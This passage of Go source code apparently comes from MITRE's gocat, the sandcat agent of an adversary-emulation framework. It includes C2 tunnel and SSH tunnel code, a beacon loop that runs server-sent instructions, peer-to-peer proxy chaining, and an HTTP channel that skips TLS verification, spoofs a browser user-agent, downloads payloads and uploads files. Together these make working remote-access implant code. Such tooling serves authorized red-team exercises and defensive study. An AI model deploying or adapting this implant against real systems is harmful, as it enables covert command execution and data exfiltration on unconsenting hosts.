forwarderPaw 72 | nextHop[1] = receiverAddr 73 | nextHop[2] = peerProtocol 74 | proxyChain = append(proxyChain, nextHop) 75 | clientProfile["proxy_chain"] = proxyChain 76 | } 77 | 78 | // check if a given address/paw is contained in the peer chain 79 | func isInPeerChain(clientProfile map[string]interface{}, searchPaw string) bool { 80 | // Proxy chain is a list of length-3 lists ([forwarder paw, receiver address, peer protocol]) 81 | if _, ok := clientProfile["proxy_chain"]; ok { 82 | proxyChain := clientProfile["proxy_chain"].([]interface{}) 83 | for _, peer := range proxyChain { 84 | if peer.([]interface{})[0].(string) == searchPaw { 85 | return true 86 | } 87 | } 88 | } 89 | return false 90 | } 91 | 92 | // Return list of local IPv4 addresses for this machine (exclude loopback and unspecified addresses) 93 | func GetLocalIPv4Addresses() ([]string, error) { 94 | var localIpList []string 95 | ifaces, err := net.Interfaces() 96 | if err != nil { 97 | return nil, err 98 | } 99 | for _, iface := range ifaces { 100 | addrs, err := iface.Addrs() 101 | if err != nil { 102 | return nil, err 103 | } 104 | for _, addr := range addrs { 105 | var ipAddr net.IP 106 | switch v:= addr.(type) { 107 | case *net.IPNet: 108 | ipAddr = v.IP 109 | case *net.IPAddr: 110 | ipAddr = v.IP 111 | } 112 | if ipAddr != nil && !ipAddr.IsLoopback() && !ipAddr.IsUnspecified() { 113 | ipv4Addr := ipAddr.To4() 114 | if ipv4Addr != nil { 115 | localIpList = append(localIpList, ipv4Addr.String()) 116 | } 117 | } 118 | } 119 | } 120 | return localIpList, nil 121 | } 122 | -------------------------------------------------------------------------------- /contact/tunnel.go: -------------------------------------------------------------------------------- 1 | package contact 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "strconv" 7 | "strings" 8 | ) 9 | 10 | // Tunnel defines required functions for providing a comms tunnel between agent and C2. 11 | type Tunnel interface { 12 | GetName() string 13 | Start(tunnelReady chan bool) // must be run as a go routine 14 | GetLocalEndpoint() string // agent-side endpoint for tunnel 15 | GetRemoteEndpoint() string // tunnel destination endpoint 16 | } 17 | 18 | type TunnelConfig struct { 19 | Protocol string // Name of Tunnel protocol 20 | TunnelEndpoint string // Address used to connect to or start tunnel 21 | Username string // Username to authenticate to tunnel 22 | Password string // Password to authenticate to tunnel 23 | RemoteAddr string // IP address or hostname that tunnel will ultimately connect to 24 | RemotePort int // Port that tunnel will ultimately connect to 25 | TunneledProtocol string // protocol that the tunnel will carry 26 | } 27 | 28 | // CommunicationTunnels contains maps available Tunnel names to their respective factory methods. 29 | var CommunicationTunnelFactories = map[string]func(tunnelConfig *TunnelConfig) (Tunnel, error){} 30 | var defaultProtocolPorts = map[string]string{ 31 | "http": "80", 32 | "https": "443", 33 | } 34 | 35 | func GetAvailableCommTunnels() []string { 36 | tunnelNames := make([]string, 0, len(CommunicationTunnelFactories)) 37 | for name := range CommunicationTunnelFactories { 38 | tunnelNames = append(tunnelNames, name) 39 | } 40 | return tunnelNames 41 | } 42 | 43 | func BuildTunnelConfig(protocol, tunnelEndpoint, destEndpoint, user, password string) (*TunnelConfig, error) { 44 | tunneledProtocol, remoteEndpoint := getTunneledProtocolAndRemoteAddr(destEndpoint) 45 | remoteAddr, remotePort, err := splitAddrAndPort(remoteEndpoint, tunneledProtocol) 46 | if err != nil { 47 | return nil, err 48 | } 49 | return &TunnelConfig{ 50 | Protocol: protocol, 51 | TunnelEndpoint: tunnelEndpoint, 52 | Username: user, 53 | Password: password, 54 | RemoteAddr: remoteAddr, 55 | RemotePort: remotePort, 56 | TunneledProtocol: tunneledProtocol, 57 | }, nil 58 | } 59 | 60 | // Determine which protocol will be tunneled as well as the remote endpoint, 61 | // based on the address provided by tunnelConfig.TunnelDest. If the protocol is not specified, 62 | // "http" will be returned along with the remote endpoint addr. 63 | // 64 | // Examples: 65 | // https://10.10.10.10:8888 -> https, 10.10.10.10:8888 66 | // 10.10.10.10.:8888 -> http, 10.10.10.10:8888 67 | func getTunneledProtocolAndRemoteAddr(remoteAddr string) (string, string) { 68 | protocolSplit := strings.Split(remoteAddr, "://") 69 | if len(protocolSplit) == 1 { 70 | // No protocol was specified. 71 | return "http", protocolSplit[0] 72 | } else { 73 | return protocolSplit[0], protocolSplit[1] 74 | } 75 | } 76 | 77 | // Split string of the form address:port or hostname:port into the IP address and port pair. Only supports IPv4. 78 | // If no port is explicitly provided, the default according the provided protocol will be returned. 79 | func splitAddrAndPort(addrAndPort string, protocol string) (string, int, error) { 80 | addrPortSplit := strings.Split(addrAndPort, ":") 81 | addr := addrPortSplit[0] 82 | var portStr string 83 | if len(addrPortSplit) == 1 { 84 | // No port specified. Use default port according to protocol. 85 | if defaultPort, ok := defaultProtocolPorts[protocol]; ok { 86 | portStr = defaultPort 87 | } else { 88 | return "", -1, errors.New(fmt.Sprintf("Could not get default port for protocol %s", protocol)) 89 | } 90 | } else { 91 | portStr = addrPortSplit[1] 92 | } 93 | if len(addr) == 0 { 94 | return "", -1, errors.New("Empty address/hostname provided.") 95 | } 96 | if len(portStr) == 0 { 97 | return "", -1, errors.New("Empty port provided.") 98 | } 99 | if portNum, err := strconv.Atoi(portStr); err == nil { 100 | return addr, portNum, nil 101 | } 102 | return "", -1, errors.New(fmt.Sprintf("Invalid endpoint provided: %s", addrAndPort)) 103 | } 104 | 105 | // Parse endpoint addr string (e.g. http://192.168.10.1:8888) into the protocol, IP/hostname, and port string. 106 | // Returns error if addr string is not of expected format. Only supports IPv4. 107 | func getEndpointInfo(endpointAddr string) (string, string, string, error) { 108 | protocolSplit := strings.Split(endpointAddr, "://") 109 | var addrAndPort string 110 | protocol := "" 111 | if len(protocolSplit) == 1 { 112 | // No protocol was specified. 113 | addrAndPort = protocolSplit[0] 114 | } else { 115 | addrAndPort = protocolSplit[1] 116 | protocol = protocolSplit[0] 117 | } 118 | addrPortSplit := strings.Split(addrAndPort, ":") 119 | addr := addrPortSplit[0] 120 | var port string 121 | if len(addrPortSplit) == 1 { 122 | // No port specified. Use default port according to protocol. 123 | if defaultPort, ok := defaultProtocolPorts[protocol]; ok { 124 | port = defaultPort 125 | } else { 126 | return "", "", "", errors.New(fmt.Sprintf("Could not get default port for protocol %s", protocol)) 127 | } 128 | } else { 129 | port = addrPortSplit[1] 130 | } 131 | if len(addr) == 0 { 132 | return "", "", "", errors.New("Empty address/hostname provided.") 133 | } 134 | if len(port) == 0 { 135 | return "", "", "", errors.New("Empty port provided.") 136 | } 137 | return protocol, addr, port, nil 138 | } -------------------------------------------------------------------------------- /core/core.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "math/rand" 7 | "reflect" 8 | "time" 9 | 10 | "github.com/mitre/gocat/agent" 11 | "github.com/mitre/gocat/contact" 12 | "github.com/mitre/gocat/output" 13 | 14 | _ "github.com/mitre/gocat/execute/donut" // necessary to initialize all submodules 15 | _ "github.com/mitre/gocat/execute/shellcode" // necessary to initialize all submodules 16 | _ "github.com/mitre/gocat/execute/shells" // necessary to initialize all submodules 17 | ) 18 | 19 | // Initializes and returns sandcat agent. 20 | func initializeCore(server string, tunnelConfig *contact.TunnelConfig, group string, contactConfig map[string]string, p2pReceiversOn bool, initialDelay int, verbose bool, paw string, originLinkID string) (*agent.Agent, error) { 21 | output.SetVerbose(verbose) 22 | output.VerbosePrint("Starting sandcat in verbose mode.") 23 | return agent.AgentFactory(server, tunnelConfig, group, contactConfig, p2pReceiversOn, initialDelay, paw, originLinkID) 24 | } 25 | 26 | //Core is the main function as wrapped by sandcat.go 27 | func Core(server string, tunnelConfig *contact.TunnelConfig, group string, delay int, contactConfig map[string]string, p2pReceiversOn bool, verbose bool, paw string, originLinkID string) { 28 | sandcatAgent, err := initializeCore(server, tunnelConfig, group, contactConfig, p2pReceiversOn, delay, verbose, paw, originLinkID) 29 | if err != nil { 30 | output.VerbosePrint(fmt.Sprintf("[-] Error when initializing agent: %s", err.Error())) 31 | output.VerbosePrint("[-] Exiting.") 32 | } else { 33 | sandcatAgent.Display() 34 | runAgent(sandcatAgent, contactConfig) 35 | sandcatAgent.Terminate() 36 | } 37 | } 38 | 39 | // Establish contact with C2 and run instructions. 40 | func runAgent(sandcatAgent *agent.Agent, c2Config map[string]string) { 41 | // Start main execution loop. 42 | watchdog := 0 43 | checkin := time.Now() 44 | lastDiscovery := time.Now() 45 | var sleepDuration float64 46 | 47 | for evaluateWatchdog(checkin, watchdog) { 48 | // Send beacon and get response. 49 | beacon := sandcatAgent.Beacon() 50 | 51 | // Process beacon response. 52 | if len(beacon) != 0 { 53 | sandcatAgent.SetPaw(beacon["paw"].(string)) 54 | checkin = time.Now() 55 | sleepDuration = float64(beacon["sleep"].(int)) 56 | watchdog = beacon["watchdog"].(int) 57 | } else { 58 | // Failed beacon 59 | if err := sandcatAgent.HandleBeaconFailure(); err != nil { 60 | output.VerbosePrint(fmt.Sprintf("[!] Error handling failed beacon: %s", err.Error())) 61 | return 62 | } 63 | sleepDuration = float64(15) 64 | } 65 | 66 | // Check if we need to change contacts 67 | if beacon["new_contact"] != nil { 68 | newChannel := beacon["new_contact"].(string) 69 | c2Config["c2Name"] = newChannel 70 | output.VerbosePrint(fmt.Sprintf("Received request to switch from C2 channel %s to %s", sandcatAgent.GetCurrentContactName(), newChannel)) 71 | if err := sandcatAgent.AttemptSelectComChannel(c2Config, newChannel); err != nil { 72 | output.VerbosePrint(fmt.Sprintf("[!] Error switching communication channels: %s", err.Error())) 73 | } 74 | } 75 | 76 | // Check if we need to update executors 77 | if beacon["executor_change"] != nil { 78 | if err := sandcatAgent.ProcessExecutorChange(beacon["executor_change"]); err != nil { 79 | output.VerbosePrint(fmt.Sprintf("[!] Error updating executor: %s", err.Error())) 80 | } 81 | } 82 | 83 | // Handle instructions 84 | if beacon["instructions"] != nil && len(beacon["instructions"].([]interface{})) > 0 { 85 | // Run commands and send results. 86 | instructions := reflect.ValueOf(beacon["instructions"]) 87 | for i := 0; i < instructions.Len(); i++ { 88 | marshaledInstruction := instructions.Index(i).Elem().String() 89 | var instruction map[string]interface{} 90 | if err := json.Unmarshal([]byte(marshaledInstruction), &instruction); err != nil { 91 | output.VerbosePrint(fmt.Sprintf("[-] Error unpacking command: %v", err.Error())) 92 | } else { 93 | // If instruction is deadman, save it for later. Otherwise, run the instruction. 94 | if instruction["deadman"].(bool) { 95 | output.VerbosePrint(fmt.Sprintf("[*] Received deadman instruction %s", instruction["id"])) 96 | sandcatAgent.StoreDeadmanInstruction(instruction) 97 | } else { 98 | output.VerbosePrint(fmt.Sprintf("[*] Running instruction %s", instruction["id"])) 99 | go sandcatAgent.RunInstruction(instruction, true) 100 | sandcatAgent.Sleep(instruction["sleep"].(float64)) 101 | } 102 | } 103 | } 104 | } 105 | 106 | // randomly check for dynamically discoverable peer agents on the network 107 | if findPeers(lastDiscovery, sandcatAgent) { 108 | lastDiscovery = time.Now() 109 | } 110 | 111 | sandcatAgent.Sleep(sleepDuration) 112 | } 113 | } 114 | 115 | // Returns true if agent should keep running, false if not. 116 | func evaluateWatchdog(lastcheckin time.Time, watchdog int) bool { 117 | return watchdog <= 0 || float64(time.Now().Sub(lastcheckin).Seconds()) <= float64(watchdog) 118 | } 119 | 120 | func findPeers(last time.Time, sandcatAgent *agent.Agent) bool { 121 | minDiscoveryInterval := 300 122 | diff := float64(time.Now().Sub(last).Seconds()) 123 | if diff >= float64(rand.Intn(120)+minDiscoveryInterval) { 124 | sandcatAgent.DiscoverPeers() 125 | return true 126 | } else { 127 | return false 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /contact/ssh_tunnel.go: -------------------------------------------------------------------------------- 1 | // Reference: https://gist.github.com/svett/5d695dcc4cc6ad5dd275 2 | 3 | package contact 4 | 5 | import ( 6 | "fmt" 7 | "io" 8 | "math/rand" 9 | "net" 10 | "strconv" 11 | "time" 12 | 13 | "golang.org/x/crypto/ssh" 14 | 15 | "github.com/mitre/gocat/output" 16 | ) 17 | 18 | var ( 19 | minLocalPort = 50000 20 | maxLocalPort = 65000 21 | ) 22 | 23 | // Will implement the Tunnel interface. 24 | type SshTunnel struct { 25 | name string 26 | sshUsername string 27 | sshPassword string 28 | tunneledProtocol string 29 | localTunnelEndpoint string // localhost and random local port 30 | serverTunnelEndpoint string // server IP/hostname and SSH port 31 | remoteEndpoint string // localhost (from server's perspective) and true dest port for underlying contact 32 | config *ssh.ClientConfig 33 | } 34 | 35 | func init() { 36 | rand.Seed(time.Now().UTC().UnixNano()) 37 | CommunicationTunnelFactories["SSH"] = SshTunnelFactory 38 | } 39 | 40 | func SshTunnelFactory(tunnelConfig *TunnelConfig) (Tunnel, error) { 41 | clientConfig := &ssh.ClientConfig{ 42 | User: tunnelConfig.Username, 43 | Auth: []ssh.AuthMethod{ 44 | ssh.Password(tunnelConfig.Password), 45 | }, 46 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 47 | } 48 | 49 | sshServerAddr, sshPort, err := getSSHServerAddrAndPort(tunnelConfig) 50 | if err != nil { 51 | return nil, err 52 | } 53 | localPortNum := getRandomListeningPort() 54 | relativeRemoteAddr := getRelativeRemoteAddr(sshServerAddr, tunnelConfig.RemoteAddr) 55 | tunnel := &SshTunnel{ 56 | name: tunnelConfig.Protocol, 57 | sshUsername: tunnelConfig.Username, 58 | sshPassword: tunnelConfig.Password, 59 | localTunnelEndpoint: fmt.Sprintf("localhost:%d", localPortNum), 60 | serverTunnelEndpoint: fmt.Sprintf("%s:%d", sshServerAddr, sshPort), 61 | remoteEndpoint: fmt.Sprintf("%s:%d", relativeRemoteAddr, tunnelConfig.RemotePort), 62 | config: clientConfig, 63 | tunneledProtocol: tunnelConfig.TunneledProtocol, 64 | } 65 | return tunnel, nil 66 | } 67 | 68 | // Returns the remote addr with respect to the the SSH server. For instance, if both 69 | // the sshServerAddr and remoteAddr are the same, the relative remote addr for the SSH tunnel 70 | // would be localhost. 71 | func getRelativeRemoteAddr(sshServerAddr, remoteAddr string) string { 72 | if sshServerAddr == remoteAddr { 73 | return "localhost" 74 | } 75 | return remoteAddr 76 | } 77 | 78 | func getSSHServerAddrAndPort(tunnelConfig *TunnelConfig) (string, int, error) { 79 | // Check if provided tunnel endpoint is just a port 80 | sshEndpoint := tunnelConfig.TunnelEndpoint 81 | if portNum, err := strconv.Atoi(sshEndpoint); err == nil { 82 | // Only a port was provided. Use the same IP address as the one provided for the remote destination. 83 | return tunnelConfig.RemoteAddr, portNum, nil 84 | } 85 | return splitAddrAndPort(sshEndpoint, tunnelConfig.TunneledProtocol) 86 | } 87 | 88 | func (s *SshTunnel) GetName() string { 89 | return s.name 90 | } 91 | 92 | func (s *SshTunnel) GetLocalEndpoint() string { 93 | return fmt.Sprintf("%s://%s", s.tunneledProtocol, s.localTunnelEndpoint) 94 | } 95 | 96 | func (s *SshTunnel) GetRemoteEndpoint() string { 97 | return fmt.Sprintf("%s://%s", s.tunneledProtocol, s.remoteEndpoint) 98 | } 99 | 100 | // Must be run as go routine. 101 | func (s *SshTunnel) Start(tunnelReady chan bool) { 102 | output.VerbosePrint(fmt.Sprintf("Starting local tunnel endpoint at %s", s.localTunnelEndpoint)) 103 | output.VerbosePrint(fmt.Sprintf("Setting server tunnel endpoint at %s", s.serverTunnelEndpoint)) 104 | output.VerbosePrint(fmt.Sprintf("Setting remote endpoint at %s", s.remoteEndpoint)) 105 | listener, err := net.Listen("tcp", s.localTunnelEndpoint) 106 | if err != nil { 107 | output.VerbosePrint(fmt.Sprintf("[!] Error setting SSH tunnel listener: %s", err.Error())) 108 | tunnelReady <- false 109 | return 110 | } 111 | defer listener.Close() 112 | // Tell caller we're ready for connections 113 | tunnelReady <- true 114 | for { 115 | output.VerbosePrint("[*] Listening on local SSH tunnel endpoint") 116 | localConn, err := listener.Accept() 117 | output.VerbosePrint("[*] Accepted connection on local SSH tunnel endpoint") 118 | if err != nil { 119 | output.VerbosePrint(fmt.Sprintf("[!] Error accepting local SSH tunnel connection: %s", err.Error())) 120 | continue 121 | } 122 | go s.forwardConnection(localConn) 123 | } 124 | } 125 | 126 | func (s *SshTunnel) forwardConnection(localConn net.Conn) { 127 | output.VerbosePrint("[*] Forwarding connection to server") 128 | serverConn, err := s.connectToServerSsh() 129 | if err != nil { 130 | output.VerbosePrint(fmt.Sprintf("[!] Error connecting to server SSH endpoint: %s", err.Error())) 131 | localConn.Close() 132 | return 133 | } 134 | 135 | // Get remote connection through tunnel 136 | remoteConn, err := serverConn.Dial("tcp", s.remoteEndpoint) 137 | if err != nil { 138 | output.VerbosePrint(fmt.Sprintf("[!] Error connecting to remote endpoint: %s", err.Error())) 139 | localConn.Close() 140 | serverConn.Close() 141 | return 142 | } 143 | output.VerbosePrint("[*] Opened remote connection through tunnel") 144 | forwarderFunc := func(writer, reader net.Conn) { 145 | defer writer.Close() 146 | defer reader.Close() 147 | 148 | _, err:= io.Copy(writer, reader) 149 | if err != nil { 150 | output.VerbosePrint(fmt.Sprintf("[!] I/O copy error when forwarding through tunnel: %s", err.Error())) 151 | localConn.Close() 152 | remoteConn.Close() 153 | serverConn.Close() 154 | } 155 | } 156 | go forwarderFunc(localConn, remoteConn) 157 | go forwarderFunc(remoteConn, localConn) 158 | } 159 | 160 | func (s *SshTunnel) connectToServerSsh() (*ssh.Client, error) { 161 | return ssh.Dial("tcp", s.serverTunnelEndpoint, s.config) 162 | } 163 | 164 | func getRandomListeningPort() int { 165 | return rand.Intn(maxLocalPort - minLocalPort) + minLocalPort 166 | } -------------------------------------------------------------------------------- /agent/agent_proxy.go: -------------------------------------------------------------------------------- 1 | package agent 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | 7 | "github.com/mitre/gocat/output" 8 | "github.com/mitre/gocat/proxy" 9 | ) 10 | 11 | func (a *Agent) ActivateLocalP2pReceivers() { 12 | for receiverName, p2pReceiver := range proxy.P2pReceiverChannels { 13 | if err := p2pReceiver.InitializeReceiver(&a.server, &a.beaconContact, a.p2pReceiverWaitGroup); err != nil { 14 | output.VerbosePrint(fmt.Sprintf("[-] Error when initializing p2p receiver %s: %s", receiverName, err.Error())) 15 | } else { 16 | output.VerbosePrint(fmt.Sprintf("[*] Initialized p2p receiver %s", receiverName)) 17 | a.localP2pReceivers[receiverName] = p2pReceiver 18 | a.p2pReceiverWaitGroup.Add(1) 19 | a.storeLocalP2pReceiverAddresses(receiverName, p2pReceiver) 20 | go p2pReceiver.RunReceiver() 21 | } 22 | } 23 | } 24 | 25 | func (a *Agent) TerminateLocalP2pReceivers() { 26 | for receiverName, p2pReceiver := range a.localP2pReceivers { 27 | output.VerbosePrint(fmt.Sprintf("[*] Terminating p2p receiver %s", receiverName)) 28 | p2pReceiver.Terminate() 29 | } 30 | a.p2pReceiverWaitGroup.Wait() 31 | } 32 | 33 | func (a *Agent) storeLocalP2pReceiverAddresses(receiverName string, p2pReceiver proxy.P2pReceiver) { 34 | for _, address := range p2pReceiver.GetReceiverAddresses() { 35 | if _, ok := a.localP2pReceiverAddresses[receiverName]; !ok { 36 | a.localP2pReceiverAddresses[receiverName] = make([]string, 0) 37 | } 38 | a.localP2pReceiverAddresses[receiverName] = append(a.localP2pReceiverAddresses[receiverName], address) 39 | } 40 | } 41 | 42 | // Attempts to look for any compatible peer-to-peer proxy clients for available proxy receivers. 43 | // Sets the first valid one it can find. Returns an error if no valid proxy clients are found. 44 | func (a *Agent) findAvailablePeerProxyClient() error { 45 | if len(a.availablePeerReceivers) == 0 { 46 | // Either we used all available peers, or we simply never had any to start with. Refresh 47 | // the used peers if possible. 48 | if len(a.exhaustedPeerReceivers) == 0 { 49 | return errors.New("No peer proxy receivers available to connect to.") 50 | } 51 | output.VerbosePrint("[*] All available peer proxy receivers have been tried. Retrying them.") 52 | a.refreshAvailablePeerReceivers() 53 | } 54 | for proxyChannel, receiverAddresses := range a.availablePeerReceivers { 55 | if len(receiverAddresses) > 0 { 56 | output.VerbosePrint(fmt.Sprintf("[-] Verifying proxy channel %s", proxyChannel)) 57 | 58 | // Attempt to set the new coms channel. 59 | if err := a.AttemptSelectComChannel(nil, proxyChannel); err != nil { 60 | output.VerbosePrint(fmt.Sprintf("[!] Error attempting to use proxy channel %s: %s", proxyChannel, err.Error())) 61 | 62 | // Remove the invalid proxy channel from the pool. Safe to remove during iteration. 63 | delete(a.availablePeerReceivers, proxyChannel) 64 | continue 65 | } 66 | // Successfully set the channel. Update dest address. 67 | a.usingPeerReceivers = true 68 | addressToUse := receiverAddresses[0] 69 | a.updateUpstreamDestAddr(addressToUse) 70 | output.VerbosePrint(fmt.Sprintf("[*] Updated agent's destination address to proxy peer address: %s", addressToUse)) 71 | 72 | // Mark proxy channel and peer receiver address as used. 73 | a.markPeerReceiverAsUsed(proxyChannel, addressToUse) 74 | a.peerProxyReceiverDisplay() 75 | return nil 76 | } 77 | } 78 | return errors.New("No available compatible peer-to-peer proxy clients found.") 79 | } 80 | 81 | // Mark the peer proxy channel and receiver address as exhausted, so the agent doesn't try using it again 82 | // before trying the remaining ones. 83 | func (a *Agent) markPeerReceiverAsUsed(proxyChannel string, usedAddress string) { 84 | if _, ok := a.exhaustedPeerReceivers[proxyChannel]; !ok { 85 | a.exhaustedPeerReceivers[proxyChannel] = make([]string, 0) 86 | } 87 | a.exhaustedPeerReceivers[proxyChannel] = append(a.exhaustedPeerReceivers[proxyChannel], usedAddress) 88 | if receiverAddresses, ok := a.availablePeerReceivers[proxyChannel]; ok { 89 | a.availablePeerReceivers[proxyChannel] = deleteStringFromSlice(receiverAddresses, usedAddress) 90 | // Clear map key if this was the last remaining address for the proxy channel. 91 | if len(a.availablePeerReceivers[proxyChannel]) == 0 { 92 | delete(a.availablePeerReceivers, proxyChannel) 93 | } 94 | } 95 | } 96 | 97 | // Should only be called once the agent's availablePeerReceivers map is empty. 98 | // Will repopulate availablePeerReceivers with the exhausted peer receivers so that the agent 99 | // can try them again. 100 | func (a *Agent) refreshAvailablePeerReceivers() { 101 | a.availablePeerReceivers = a.exhaustedPeerReceivers 102 | a.exhaustedPeerReceivers = make(map[string][]string) 103 | } 104 | 105 | // Utility function to remove a given string from a string slice. 106 | // Returns the new slice (not necessarily in the same order). 107 | // If the element to delete does not exist in the slice, the original slice will be returned. 108 | func deleteStringFromSlice(deleteFrom []string, toDelete string) []string { 109 | indexToDelete := -1 110 | maxIndex := len(deleteFrom) - 1 111 | for i, element := range deleteFrom { 112 | if element == toDelete { 113 | indexToDelete = i 114 | break 115 | } 116 | } 117 | if indexToDelete >= 0 { 118 | deleteFrom[indexToDelete] = deleteFrom[maxIndex] 119 | return deleteFrom[:maxIndex] 120 | } 121 | return deleteFrom 122 | } 123 | 124 | // Display some output about the available/used peer proxy receivers. 125 | func (a* Agent) peerProxyReceiverDisplay() { 126 | output.VerbosePrint("[*] Valid peer proxy receivers used so far: ") 127 | for channel, addrs := range a.exhaustedPeerReceivers { 128 | for _, addr := range addrs { 129 | output.VerbosePrint(fmt.Sprintf("\t%s : %s", channel, addr)) 130 | } 131 | } 132 | output.VerbosePrint("[*] Valid peer proxy receivers left to try out: ") 133 | for channel, addrs := range a.availablePeerReceivers { 134 | for _, addr := range addrs { 135 | output.VerbosePrint(fmt.Sprintf("\t%s : %s", channel, addr)) 136 | } 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /contact/api.go: -------------------------------------------------------------------------------- 1 | package contact 2 | 3 | import ( 4 | "bytes" 5 | "crypto/tls" 6 | "encoding/base64" 7 | "encoding/json" 8 | "errors" 9 | "fmt" 10 | "io" 11 | "io/ioutil" 12 | "mime/multipart" 13 | "net/http" 14 | "net/url" 15 | "path/filepath" 16 | 17 | "github.com/mitre/gocat/output" 18 | ) 19 | 20 | var ( 21 | apiBeacon = "/beacon" 22 | userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" 23 | ) 24 | 25 | //API communicates through HTTP 26 | type API struct { 27 | name string 28 | client *http.Client 29 | upstreamDestAddr string 30 | } 31 | 32 | func init() { 33 | CommunicationChannels["HTTP"] = &API{ name: "HTTP" } 34 | } 35 | 36 | //GetInstructions sends a beacon and returns response. 37 | func (a *API) GetBeaconBytes(profile map[string]interface{}) []byte { 38 | data, err := json.Marshal(profile) 39 | if err != nil { 40 | output.VerbosePrint(fmt.Sprintf("[-] Cannot request beacon. Error with profile marshal: %s", err.Error())) 41 | return nil 42 | } else { 43 | address := fmt.Sprintf("%s%s", a.upstreamDestAddr, apiBeacon) 44 | return a.request(address, data) 45 | } 46 | } 47 | 48 | // Return the file bytes for the requested payload. 49 | func (a *API) GetPayloadBytes(profile map[string]interface{}, payload string) ([]byte, string) { 50 | var payloadBytes []byte 51 | var filename string 52 | platform := profile["platform"] 53 | if platform != nil { 54 | address := fmt.Sprintf("%s/file/download", a.upstreamDestAddr) 55 | req, err := http.NewRequest("POST", address, nil) 56 | if err != nil { 57 | output.VerbosePrint(fmt.Sprintf("[-] Failed to create HTTP request: %s", err.Error())) 58 | return nil, "" 59 | } 60 | req.Header.Set("file", payload) 61 | req.Header.Set("platform", platform.(string)) 62 | req.Header.Set("paw", profile["paw"].(string)) 63 | resp, err := a.client.Do(req) 64 | if err != nil { 65 | output.VerbosePrint(fmt.Sprintf("[-] Error sending payload request: %s", err.Error())) 66 | return nil, "" 67 | } 68 | defer resp.Body.Close() 69 | if resp.StatusCode == ok { 70 | buf, err := ioutil.ReadAll(resp.Body) 71 | if err != nil { 72 | output.VerbosePrint(fmt.Sprintf("[-] Error reading HTTP response: %s", err.Error())) 73 | return nil, "" 74 | } 75 | payloadBytes = buf 76 | if name_header, ok := resp.Header["Filename"]; ok { 77 | filename = filepath.Join(name_header[0]) 78 | } else { 79 | output.VerbosePrint("[-] HTTP response missing Filename header.") 80 | } 81 | } 82 | } 83 | return payloadBytes, filename 84 | } 85 | 86 | //C2RequirementsMet determines if sandcat can use the selected comm channel 87 | func (a *API) C2RequirementsMet(profile map[string]interface{}, c2Config map[string]string) (bool, map[string]string) { 88 | output.VerbosePrint(fmt.Sprintf("Beacon API=%s", apiBeacon)) 89 | http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} 90 | 91 | // Handle proxy gateway configuration. 92 | if proxyUrlStr, ok := c2Config["httpProxyGateway"]; ok && len(proxyUrlStr) > 0 { 93 | proxyUrl, err := url.Parse(proxyUrlStr) 94 | if err != nil { 95 | output.VerbosePrint(fmt.Sprintf("[!] Error - could not establish HTTP proxy requirements: %s", err.Error())) 96 | return false, nil 97 | } 98 | http.DefaultTransport.(*http.Transport).Proxy = http.ProxyURL(proxyUrl) 99 | } 100 | a.client = &http.Client{Transport: http.DefaultTransport} 101 | 102 | return true, nil 103 | } 104 | 105 | func (a *API) SetUpstreamDestAddr(upstreamDestAddr string) { 106 | a.upstreamDestAddr = upstreamDestAddr 107 | } 108 | 109 | // SendExecutionResults will send the execution results to the upstream destination. 110 | func (a *API) SendExecutionResults(profile map[string]interface{}, result map[string]interface{}) { 111 | address := fmt.Sprintf("%s%s", a.upstreamDestAddr, apiBeacon) 112 | profileCopy := make(map[string]interface{}) 113 | for k,v := range profile { 114 | profileCopy[k] = v 115 | } 116 | results := make([]map[string]interface{}, 1) 117 | results[0] = result 118 | profileCopy["results"] = results 119 | data, err := json.Marshal(profileCopy) 120 | if err != nil { 121 | output.VerbosePrint(fmt.Sprintf("[-] Cannot send results. Error with profile marshal: %s", err.Error())) 122 | } else { 123 | a.request(address, data) 124 | } 125 | } 126 | 127 | func (a *API) GetName() string { 128 | return a.name 129 | } 130 | 131 | func (a *API) UploadFileBytes(profile map[string]interface{}, uploadName string, data []byte) error { 132 | uploadUrl := a.upstreamDestAddr + "/file/upload" 133 | 134 | // Set up the form 135 | requestBody := bytes.Buffer{} 136 | contentType, err := createUploadForm(&requestBody, data, uploadName) 137 | if err != nil { 138 | return nil 139 | } 140 | 141 | // Set up the request 142 | headers := map[string]string{ 143 | "Content-Type": contentType, 144 | "X-Request-Id": fmt.Sprintf("%s-%s", profile["host"].(string), profile["paw"].(string)), 145 | "User-Agent": userAgent, 146 | "X-Paw": profile["paw"].(string), 147 | "X-Host": profile["host"].(string), 148 | } 149 | req, err := createUploadRequest(uploadUrl, &requestBody, headers) 150 | if err != nil { 151 | return err 152 | } 153 | 154 | // Perform request and process response 155 | resp, err := a.client.Do(req) 156 | if err != nil { 157 | return err 158 | } 159 | defer resp.Body.Close() 160 | if resp.StatusCode == http.StatusOK { 161 | return nil 162 | } else { 163 | return errors.New(fmt.Sprintf("Non-successful HTTP response status code: %d", resp.StatusCode)) 164 | } 165 | return nil 166 | } 167 | 168 | func createUploadForm(requestBody *bytes.Buffer, data []byte, uploadName string) (string, error) { 169 | writer := multipart.NewWriter(requestBody) 170 | defer writer.Close() 171 | dataReader := bytes.NewReader(data) 172 | formWriter, err := writer.CreateFormFile("file", uploadName) 173 | if err != nil { 174 | return "", err 175 | } 176 | if _, err = io.Copy(formWriter, dataReader); err != nil { 177 | return "", err 178 | } 179 | return writer.FormDataContentType(), nil 180 | } 181 | 182 | func createUploadRequest(uploadUrl string, requestBody *bytes.Buffer, headers map[string]string) (*http.Request, error) { 183 | req, err := http.NewRequest("POST", uploadUrl, requestBody) 184 | if err != nil { 185 | return nil, err 186 | } 187 | for header, val := range headers { 188 | req.Header.Set(header, val) 189 | } 190 | return req, nil 191 | } 192 | 193 | func (a *API) request(address string, data []byte) []byte { 194 | encodedData := []byte(base64.StdEncoding.EncodeToString(data)) 195 | req, err := http.NewRequest("POST", address, bytes.NewBuffer(encodedData)) 196 | if err != nil { 197 | output.VerbosePrint(fmt.Sprintf("[-] Failed to create HTTP request: %s", err.Error())) 198 | return nil 199 | } 200 | resp, err := 